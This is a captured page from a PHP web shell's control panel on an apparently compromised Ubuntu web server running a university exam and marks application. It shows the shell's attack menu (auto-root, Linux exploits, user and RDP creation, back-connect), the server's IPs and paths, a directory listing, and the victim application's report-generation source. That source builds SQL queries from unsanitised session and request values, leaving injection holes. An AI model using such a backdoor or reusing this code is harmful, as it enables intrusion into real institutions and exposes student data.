Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.221.147.141
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
rcub /
Report_details /
[ HOME SHELL ]
Name
Size
Permission
Action
output
[ DIR ]
drwxr-xr-x
DownloadExamAppFormApplication...
8.82
KB
-rwxr-xr-x
DownloadRegAppFormApplications...
9.16
KB
-rw-rw-r--
DownloadRvRtAckApplications.ph...
4.6
KB
-rwxr-xr-x
Generatecollegeiamarkspendingr...
7.48
KB
-rwxr-xr-x
PrintChallanEntryDetails.php
8.27
KB
-rwxr-xr-x
RVApplicationsReport.php
8.9
KB
-rwxr-xr-x
RvPcListDetailedReport.php
10.38
KB
-rwxr-xr-x
RvRtApplicationReport.php
8.76
KB
-rwxr-xr-x
admregisterlist.php
14.9
KB
-rwxr-xr-x
appear_list_center_qp_wise.php
9.55
KB
-rwxr-xr-x
appear_list_center_qp_wiseold....
6.96
KB
-rwxr-xr-x
appear_list_qp_wise.php
5.79
KB
-rwxr-xr-x
approval_report.php
21.58
KB
-rwxr-xr-x
approval_report16.02.2021.php
21.35
KB
-rwxr-xr-x
basic_data_coll.php
7.74
KB
-rwxr-xr-x
basic_data_sum.php
8.73
KB
-rwxr-xr-x
batch_wise_details.php
4.45
KB
-rwxr-xr-x
bundle_ack.php
12.79
KB
-rwxr-xr-x
bundle_ack_07.09.2020.php
9.82
KB
-rwxr-xr-x
bundle_ack_08092020.php
10.89
KB
-rwxr-xr-x
code39.php
6.38
KB
-rwxr-xr-x
college_pending_markslist.php
6.8
KB
-rwxr-xr-x
generatePostAdmissionTicket.ph...
42.36
KB
-rwxr-xr-x
generatePostAdmissionTicket19....
36.78
KB
-rwxr-xr-x
iaemptyformat.php
7.26
KB
-rwxr-xr-x
latEntryRprt.php
6.4
KB
-rwxr-xr-x
pay_app_list.php
7.47
KB
-rwxr-xr-x
reg_stud_list.php
9.78
KB
-rwxr-xr-x
report_admission_details.php
26.8
KB
-rwxr-xr-x
report_admission_list.php
25.2
KB
-rwxr-xr-x
report_admission_list06.12.202...
22.6
KB
-rwxr-xr-x
report_admission_list11092016....
26.14
KB
-rwxr-xr-x
report_admission_list28.09.202...
26.35
KB
-rwxr-xr-x
report_admission_list_old.php
26.21
KB
-rwxr-xr-x
report_admission_list_old_0812...
22.99
KB
-rwxr-xr-x
report_admission_list_old_2511...
21.97
KB
-rwxr-xr-x
report_admission_list_raghu.ph...
26.21
KB
-rwxr-xr-x
report_admission_list_wop.php
10.31
KB
-rwxr-xr-x
report_admission_listold.php
9.9
KB
-rwxr-xr-x
report_admission_ticket.php
30.51
KB
-rwxr-xr-x
report_admission_ticket15.php
29.42
KB
-rwxr-xr-x
report_admission_ticket_before...
13.33
KB
-rwxr-xr-x
report_admission_ticket_bf_pho...
29.84
KB
-rwxr-xr-x
report_admission_ticket_kus.ph...
16.15
KB
-rwxr-xr-x
report_admission_ticket_rcub_p...
30.78
KB
-rwxr-xr-x
report_admission_ticketold.php
30.81
KB
-rwxr-xr-x
report_attendance_sheet.php
12.71
KB
-rwxr-xr-x
report_attendance_summary.php
8.59
KB
-rwxr-xr-x
report_bacth_preparation_dairy...
7.56
KB
-rwxr-xr-x
report_batch_practical_dairy.p...
16.62
KB
-rwxr-xr-x
report_batch_wise_details.php
8.19
KB
-rwxr-xr-x
report_batch_worksheet_details...
12.01
KB
-rwxr-xr-x
report_bulk_applications.php
30.66
KB
-rwxr-xr-x
report_bulk_applications22.12....
26.73
KB
-rwxr-xr-x
report_bundle_dispatch.php
12.45
KB
-rwxr-xr-x
report_bundle_dispatch_07.09.2...
11.11
KB
-rwxr-xr-x
report_bundle_dispatch_rcub.ph...
7.78
KB
-rwxr-xr-x
report_candidate_list.php
32.81
KB
-rwxr-xr-x
report_candidate_list25.02.202...
29.86
KB
-rwxr-xr-x
report_candidate_list_26102017...
29
KB
-rwxr-xr-x
report_candidate_list_27112019...
28.97
KB
-rwxr-xr-x
report_candidate_list_before_f...
25.19
KB
-rwxr-xr-x
report_candidate_list_before_s...
19.8
KB
-rwxr-xr-x
report_daliy_report.php
10.83
KB
-rwxr-xr-x
report_daliy_report_qp.php
11.6
KB
-rwxr-xr-x
report_daliy_report_qp_new.php
9.93
KB
-rwxr-xr-x
report_daliy_report_qp_wait.ph...
9.9
KB
-rwxr-xr-x
report_data_sent.php
8.41
KB
-rwxr-xr-x
report_degree_list.php
4.71
KB
-rwxr-xr-x
report_deviation_report.php
7.67
KB
-rwxr-xr-x
report_evaluation_report.php
9.31
KB
-rwxr-xr-x
report_iamarks_pending.php
8.19
KB
-rwxr-xr-x
report_iamarks_pending_2112201...
6.58
KB
-rwxr-xr-x
report_marks_deviation_report....
5.38
KB
-rwxr-xr-x
report_marks_elementwise.php
3.13
KB
-rwxr-xr-x
report_marks_entry_student_lis...
5.62
KB
-rw-rw-r--
report_marks_entry_student_lis...
5.61
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
12.77
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
10.13
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
9.16
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
10.05
KB
-rwxr-xr-x
report_marks_pending.php
12.02
KB
-rwxr-xr-x
report_online_eam.php
11.59
KB
-rwxr-xr-x
report_practical_marks_details...
13.35
KB
-rwxr-xr-x
report_practical_marks_details...
15.45
KB
-rwxr-xr-x
report_practical_marks_details...
13.33
KB
-rwxr-xr-x
report_qpcount_univ.php
5.17
KB
-rwxr-xr-x
report_qpcount_univ_old_882024...
7.37
KB
-rwxr-xr-x
report_ra_exl_report.php
5.91
KB
-rw-rw-r--
report_ra_exl_report11012018.p...
5.78
KB
-rwxr-xr-x
report_ra_exl_report_old_30032...
5.81
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
20.91
KB
-rwxr-xr-x
report_ra_invigilator_dairy24....
16.2
KB
-rwxr-xr-x
report_ra_invigilators_dairy.p...
9.1
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
9.02
KB
-rw-rw-r--
report_ra_qp_wise_student_coun...
8.5
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
7.32
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
8.75
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
10.41
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
10.44
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
7.49
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
17.6
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
7.57
KB
-rwxr-xr-x
report_reg_list.php
33.14
KB
-rw-rw-r--
report_revaluation.php
6.42
KB
-rwxr-xr-x
report_subject_admcl_list.php
3.48
KB
-rwxr-xr-x
report_subject_general_list.ph...
4.13
KB
-rwxr-xr-x
resultsheet.php
10.21
KB
-rw-rw-r--
resultsheet_07072022.php
10.5
KB
-rwxr-xr-x
resultsheet_x.php
9.15
KB
-rwxr-xr-x
revaluation.php
15.65
KB
-rwxr-xr-x
roomallotmantsummary.php
4.7
KB
-rwxr-xr-x
roomallotmantsummary24.12.2019...
4.69
KB
-rwxr-xr-x
roomwise_register_nos_list.php
24.31
KB
-rwxr-xr-x
roomwise_register_nos_list1001...
16.81
KB
-rwxr-xr-x
roomwise_register_nos_list24.1...
19.56
KB
-rwxr-xr-x
roomwise_register_nos_list_bf_...
17.23
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
stringspliter.php
693
B
-rwxr-xr-x
subject_wise_student_list.php
6.2
KB
-rwxr-xr-x
teacher_report.php
20.11
KB
-rwxr-xr-x
teacher_report1.php
10.68
KB
-rwxr-xr-x
teacher_report_03.09.2018.php
10.83
KB
-rwxr-xr-x
teacher_report_old_09062020.ph...
10.7
KB
-rwxr-xr-x
teacher_val_report.php
10.3
KB
-rwxr-xr-x
timetabledegreewiserpt.php
6.7
KB
-rwxr-xr-x
topsheet.php
8.06
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : report_practical_marks_details.php
<?php $main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7); $pdf_writer_class = $main_src . "/tarka_pdf_latest/fpdf.php"; require_once($pdf_writer_class); class practical_marks_detail_report extends FPDF { public $aobj_context; public $college_name; public $town; public $address; public $degree_name; function Default_construstor($aobj_context) { require_once($aobj_context->main_src . 'src/format.php'); $this->aobj_context = $aobj_context; $this->collcode = $_SESSION['collcode']; include($this->pdf_writer_class); session_start(); $this->report_id = $aobj_context->mobj_data["report_id"]; $this->ip = $_SERVER["REMOTE_ADDR"]; $this->degree = $aobj_context->mobj_data['degree']; $this->degree_name = $aobj_context->mobj_data['degree_name']; $this->exam = $aobj_context->mobj_data['exam']; $this->subject = $aobj_context->mobj_data["sub"]; $this->sub_name = $aobj_context->mobj_data["sub_name"]; $this->from_qp_code = $aobj_context->mobj_data["from_qp_code"]; $this->to_qp_code = $aobj_context->mobj_data["to_qp_code"]; $this->batch_no = $aobj_context->mobj_data["batch_no"]; $this->date_value = $aobj_context->mobj_data["date_value"]; $this->time_value = $aobj_context->mobj_data["time"]; $this->batch_no = str_pad($this->batch_no, 2, "0", STR_PAD_LEFT); $this->fs_sub_name = $aobj_context->mobj_data["fs_sub_name"]; $this->freeze_status = " (Verification Pending)"; $this->pdf = new FPDF(); $this->pdf = $this; $this->GetSubjectLoops(); $getnumword = $aobj_context->main_src . "/src/getnumword.php"; include($getnumword); $get_date_time = "SELECT DATE_FORMAT(now(),'%d-%b-%Y %H:%m %r') as dt"; $ob_dt = $this->aobj_context->mobj_db->GetRow($get_date_time); $this->date_time = $ob_dt[dt]; } function Header() { session_start(); $FUNIVCODE = $_SESSION['FUNIVCODE']; $page_header_college = "select FUNIVADD1 as address,FUNIVNAME as college_name , pdf_logo_path as pdf_logo_path from control "; $lobj_page_header_college = $this->aobj_context->mobj_db->GetRow($page_header_college); $this->coll_name = $lobj_page_header_college['college_name']; $this->address = $lobj_page_header_college['address']; $this->pdf_logo_path = $this->aobj_context->main_src . "/" . $lobj_page_header_college['pdf_logo_path']; $get_college_name = "select concat(FCOLLNAME,', ',FTOWN) as col_name from college where FCOLLCODE='{$this->collcode}'"; $this->lobj_get_college_name = $this->aobj_context->mobj_db->GetRow($get_college_name); $this->col_name = $this->lobj_get_college_name['col_name']; $get_exam_date = "select FDESCPN,FEXAMDATE as exam_date,FEXAMNAME from degree where FDEGREE='{$this->degree}' and FEXAMNO='{$this->exam}'"; $this->lobj_get_exam_date = $this->aobj_context->mobj_db->GetRow($get_exam_date); $this->exam_date = $this->lobj_get_exam_date['exam_date']; $this->FEXAMNAME = $this->lobj_get_exam_date['FEXAMNAME']; $this->degr_name = $this->lobj_get_exam_date['FDESCPN']; $this->pdf->SetFont('Times', 'B', 14); $this->pdf->Cell(190, 6, $this->coll_name, 0, 1, 'C'); $this->pdf->SetFont('Times', '', 8); $this->pdf->Cell(190, 6, $this->address, 0, 1, 'C'); $this->pdf->SetFont('Times', 'B', 11); $this->pdf->Cell(190, 6, $this->collcode . " - " . $this->col_name, 0, 1, 'C'); $this->pdf->SetFont('Times', 'BU', 12); $this->pdf->Cell(190, 6, 'PRACTICAL MARKS LIST' . $this->freeze_status, 0, 1, 'C'); $this->pdf->SetFont('Times', 'B', 11); $this->pdf->Cell(190, 6, "[" . $this->degree . "] " . $this->degr_name . " {$this->FEXAMNAME} - " . $this->exam_date, 0, 1, 'C'); $this->pdf->Cell(190, 6, "Subject : " . " " . $this->subject . " - " . $this->sub_name . " (" . $this->fs_sub_name . ")", 0, 1, 'C'); $this->pdf->Ln(2); $new_y = $this->pdf->GetY(); $this->pdf->Line(5, $new_y, 203, $new_y); $this->pdf->Ln(2); $this->pdf->SetFont('Times', 'B', 12); $this->pdf->Cell(190, 6, 'Batch : ' . $this->batch_no . ' Date : ' . $this->date_value . ' Time : ' . $this->time_value, 0, 1, 'C'); if (file_exists($this->pdf_logo_path)) { $this->pdf->Image($this->pdf_logo_path, 7, 7, 20); } $this->pdf->Ln(2); $this->pdf->SetFont('Times', '', 11); } function GetSubjectLoops() { $get_loops = " select FCSUBCODE,concat(FSUBNAME) as sub_name from subject where FDEGREE='{$this->degree}' and FEXAMNO='{$this->exam}' and FCSUBCODE>='{$this->from_qp_code}' and FCSUBCODE<='{$this->to_qp_code}'"; $this->lobj_get_loops = $this->aobj_context->mobj_db->GetAll($get_loops); } function GetQuery() { session_start(); $FUNIVCODE = $_SESSION['FUNIVCODE']; foreach ($this->lobj_get_loops as $sk => $sv) { $pdf->page_present_count = 0; $pdf->total_absent_count = 0; $pdf->total_absent_count = 0; $FCSUBCODE = $sv[FCSUBCODE]; $get_frezed_data = " select count(*) as f_cnt from practical_entry_freeze where FCOLLCODE='{$this->collcode}' and FDEGREE='{$this->degree}' and FEXAM='{$this->exam}' and FCSUBCODE='{$FCSUBCODE}' and lpad(FBATCH,2,'0')='{$this->batch_no}' and FFREEZED='T' "; $obj_get_frezed_data = $this->aobj_context->mobj_db->GetRow($get_frezed_data); $this->freeze_status = " (Verification Pending)"; if ($obj_get_frezed_data[f_cnt] > 0) { $this->freeze_status = " (Verified)"; } $get_p_frezed_data = " select count(*) as fp_cnt from practical_entry_freeze where FCOLLCODE='{$this->collcode}' and FDEGREE='{$this->degree}' and FEXAM='{$this->exam}' and FCSUBCODE='{$FCSUBCODE}' and lpad(FBATCH,2,'0')='{$this->batch_no}' and ifnull(PRINTFREEZED,'F')='T' "; $obj_get_frezed_data = $this->aobj_context->mobj_db->GetRow($get_p_frezed_data); $fp_cnt = $obj_get_frezed_data['fp_cnt']; $sub_name = $sv[sub_name]; $this->lobj_get_practical_records = array(); $this->lobj_get_viva_records = array(); $this->viva_marks_arr = array(); $this->ii_details_arr = array(); $get_practical_records = "select sub.FCSUBCODE,sub.FSUBNAME,stu.FREGNO, stu.FNAME, if(mak.FMARKS11>0,right(concat('000',mak.FMARKS11),3),if(mak.FMARKS11=-2,'ABSENT', if(mak.FMARKS11=0,0,''))) as FMARKS, IFNULL(mak.FBATCH, '') AS FBATCH,FSUBNAME,FSSUBNAME FROM student stu inner join marks_pr mak ON stu.FREGNO=mak.FREGNO and mak.Fdegree='{$this->degree}' and mak.Fexamno='{$this->exam}' and mak.FCOLLCODE='{$this->collcode}' inner join subject sub on sub.FCSUBCODE = mak.FSUBCODE and sub.FCSUBCODE='{$FCSUBCODE}' and lpad(mak.FBATCH,2,'0')='{$this->batch_no}' and sub.FDEGREE='{$this->degree}' and sub.FEXAMNO='{$this->exam}' WHERE stu.FREGNO != '' and mak.FMARKS11<>-1 #and mak.FMARKS11<>'' group by stu.FREGNO,sub.FCSUBCODE order by IFNULL(mak.FBATCH, ''),stu.FREGNO"; $this->lobj_get_practical_records = $this->aobj_context->mobj_db->GetAll($get_practical_records); $this->sub_code = $this->lobj_get_practical_records[0][FCSUBCODE]; $this->sub_name = $this->lobj_get_practical_records[0][FSUBNAME]; $this->fs_sub_name = $this->lobj_get_practical_records[0][FSSUBNAME]; $count_practical_records = "select FCSUBCODE,count(distinct(stu.FREGNO)) as cnt FROM student stu inner join marks_pr mak ON stu.FREGNO=mak.FREGNO and mak.Fdegree='{$this->degree}' and mak.Fexamno='{$this->exam}' and mak.FCOLLCODE='{$this->collcode}' inner join subject sub on sub.FCSUBCODE = mak.FSUBCODE and sub.FCSUBCODE='{$FCSUBCODE}' and lpad(mak.FBATCH,2,'0')='{$this->batch_no}' and sub.FDEGREE='{$this->degree}' and sub.FEXAMNO='{$this->exam}' WHERE stu.FREGNO != '' and mak.FMARKS11=-2 and mak.FMARKS11<>'' group by sub.FCSUBCODE order by IFNULL(mak.FBATCH, ''),stu.FREGNO"; $this->lobj_count_practical_records = $this->aobj_context->mobj_db->GetAll($count_practical_records); foreach ($this->lobj_count_practical_records as $k => $v) { $this->ii_details_arr[$v[FCSUBCODE]] = $v[cnt]; } $get_viva_details = " select FVVCODE from practical_master where FDEGREE = '{$this->degree}' and FEXAMNO = '{$this->exam}' and FPRCODE = '{$FCSUBCODE}'"; $lobj_get_viva_details = $this->aobj_context->mobj_db->GetRow($get_viva_details); $FVVCODE = $lobj_get_viva_details[FVVCODE]; if (!empty($FVVCODE)) { $get_viva_records = "select sub.FCSUBCODE,sub.FSUBNAME,stu.FREGNO, stu.FNAME, if(mak.FMARKS11>=0,right(concat('000',mak.FMARKS11),3),if(mak.FMARKS11=-2,'ABSENT','')) as FMARKS, IFNULL(mak.FBATCH, '') AS FBATCH FROM student stu inner join marks_pr mak ON stu.FREGNO=mak.FREGNO and mak.Fdegree='{$this->degree}' and mak.Fexamno='{$this->exam}' and mak.FCOLLCODE='{$this->collcode}' inner join subject sub on sub.FCSUBCODE = mak.FSUBCODE and sub.FCSUBCODE='{$FVVCODE}' and lpad(mak.FBATCH,2,'0')='{$this->batch_no}' and sub.FDEGREE='{$this->degree}' and sub.FEXAMNO='{$this->exam}' WHERE stu.FREGNO != '' group by stu.FREGNO,sub.FCSUBCODE order by IFNULL(mak.FBATCH, ''),stu.FREGNO"; $this->lobj_get_viva_records = $this->aobj_context->mobj_db->GetAll($get_viva_records); foreach ($this->lobj_get_viva_records as $vk => $vv) { $this->viva_marks_arr[$vv[FREGNO]] = $vv[FMARKS]; } } $this->header_subject = $FCSUBCODE; $this->header_sub_name = $sub_name; $this->pdf->SetMargins(12, 12); $this->pdf->AddPage(); // $this->pdf->Rect(4,03,200,280); $this->pdf->SetMargins(12, 12); $this->_intital_x_pos = $this->pdf->GetX(); $this->pdf->SetX($this->_intital_x_pos + 22); $this->pdf->Cell(15, 6, '', "LRT", 0, 'C'); $this->pdf->Cell(30, 6, '', "LRT", 0, 'C'); $this->pdf->SetFont('Times', 'B', '12'); $this->pdf->Cell(50, 6, 'Practical', "LRT", 1, 'C'); $this->get_x_pos = $this->pdf->GetX(); $this->get_y_pos = $this->pdf->GetY(); $this->pdf->SetX($this->_intital_x_pos + 22); $this->pdf->Cell(15, 6, 'Sl. No.', "LRB", 0, 'C'); $this->pdf->Cell(30, 6, 'Reg. No.', "LRB", 0, 'C'); $this->pdf->Cell(15, 6, 'Marks', "1", 0, 'C'); $this->pdf->Cell(35, 6, 'Remarks', "1", 1, 'C'); if (!empty($this->viva_marks_arr)) { $this->pdf->SetXY($this->get_x_pos + 119, $this->get_y_pos - 6); if ($FUNIVCODE == '029') { $this->pdf->Cell(50, 6, 'Viva', "LRT", 1, 'C'); } elseif ($FUNIVCODE == '027') { $this->pdf->Cell(50, 6, 'Viva', "LRT", 1, 'C'); } else { $this->pdf->Cell(50, 6, 'Record', "LRT", 1, 'C'); } $this->pdf->SetXY($this->get_x_pos + 119, $this->get_y_pos); $this->pdf->Cell(15, 6, 'Marks', "1", 0, 'C'); $this->pdf->Cell(35, 6, 'Remarks', "1", 1, 'C'); } $sl = 1; $lin1 = 1; $this->pdf->SetFont('Times', '', '11'); if ($fp_cnt > 0) { $this->lobj_get_practical_records = null; $this->pdf->Ln(10); $this->pdf->SetFont('Times', 'B', 12); $this->pdf->Cell(0, 6, 'Report is print freezed', "", 1, 'C'); } foreach ($this->lobj_get_practical_records as $pk => $pv) { $this->FCSUBCODE = $pv[FCSUBCODE]; $FREGNO = $pv[FREGNO]; $FNAME = $pv[FNAME]; $pr_marks = $pv[FMARKS]; if ($lin1 == 35) { $this->pdf->AddPage(); $lin1 = 1; } $this->pdf->SetFont('Times', '', 12); $this->pdf->SetX($this->_intital_x_pos + 22); $this->pdf->Cell(15, 6, $sl, "1", 0, 'C'); $this->pdf->Cell(30, 6, $FREGNO, "1", 0, 'C'); if ($pr_marks == 'ABSENT') { $this->page_absent_count++; $this->pdf->Cell(15, 6, 'AB', '1 ', 0, 'C'); $this->pdf->Cell(35, 6, $pr_marks, '1', 1, 'L'); } else { $this->pdf->Cell(15, 6, $pr_marks, "1", 0, 'C'); $cell_val = GetNumToSeperateWord(floatval($pr_marks)); $cell_val = empty($cell_val) ? 0 : $cell_val; $this->pdf->Cell(35, 6, $cell_val, "1", 1, 'L'); $this->page_present_count++; } $get_x_pos1 = $this->pdf->GetX(); $get_y_pos1 = $this->pdf->GetY(); if (!empty($this->viva_marks_arr)) { $viva_marks = $this->viva_marks_arr[$FREGNO]; $this->pdf->SetXY($get_x_pos1 + 119, $get_y_pos1 - 6); if ($viva_marks == 'ABSENT') { $this->pdf->Cell(15, 6, 'AB', '1', 0, 'C'); $this->pdf->Cell(35, 6, $viva_marks, '1', 1, 'L'); } else { $this->pdf->Cell(15, 6, $viva_marks, "1", 0, 'C'); $this->pdf->Cell(35, 6, GetNumToSeperateWord(floatval($viva_marks)), "1", 1, 'L'); } } $sl++; $lin1++; } } $this->pdf->Ln(10); $this->pdf->SetFont('Times', '', 10); $this->pdf->Cell(35, 6, '', "", 0, 'C'); $this->pdf->Cell(60, 6, 'Examiner - 01', "", 0, 'C'); $this->pdf->Cell(60, 6, 'Examiner - 02', "", 1, 'C'); $this->pdf->Cell(25, 6, 'Name', "", 0, 'L'); $this->pdf->Cell(3, 6, ':', "", 1, 'C'); $this->pdf->Cell(25, 6, 'College / Dept', "", 0, 'L'); $this->pdf->Cell(3, 6, ':', "", 1, 'C'); $this->pdf->Cell(25, 6, 'Signature', "", 0, 'L'); $this->pdf->Cell(3, 6, ':', "", 1, 'C'); $this->pdf->Cell(25, 6, 'Date & Time', "", 0, 'L'); $this->pdf->Cell(3, 6, ':', "", 0, 'C'); $this->pdf->Cell(50, 3, $pdf->date_time, '0', 1, 'L'); } function Footer() { $this->SetY(-20); $this->SetFont('Times', '', 9); $new_y = $this->pdf->GetY(); $this->pdf->Line(5, $new_y, 203, $new_y); $this->Cell(140, 6, 'Printed - IP Address : ' . $this->ip . ", Date " . date('d/m/Y h:i:s A'), '0', 0, 'L'); $this->Cell(50, 6, 'Page ' . $this->PageNo() . ' of {nb}', 0, 1, 'R'); } function SendOutput() { $this->pdf->Output("practical_mark_list.pdf", "D"); } } function GeneratePracticalMarksReports($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $class_obj = new practical_marks_detail_report(); $class_obj->AliasNbPages(); $class_obj->Default_construstor($aobj_context); $class_obj->GetQuery(); $class_obj->SendOutput(); }
Close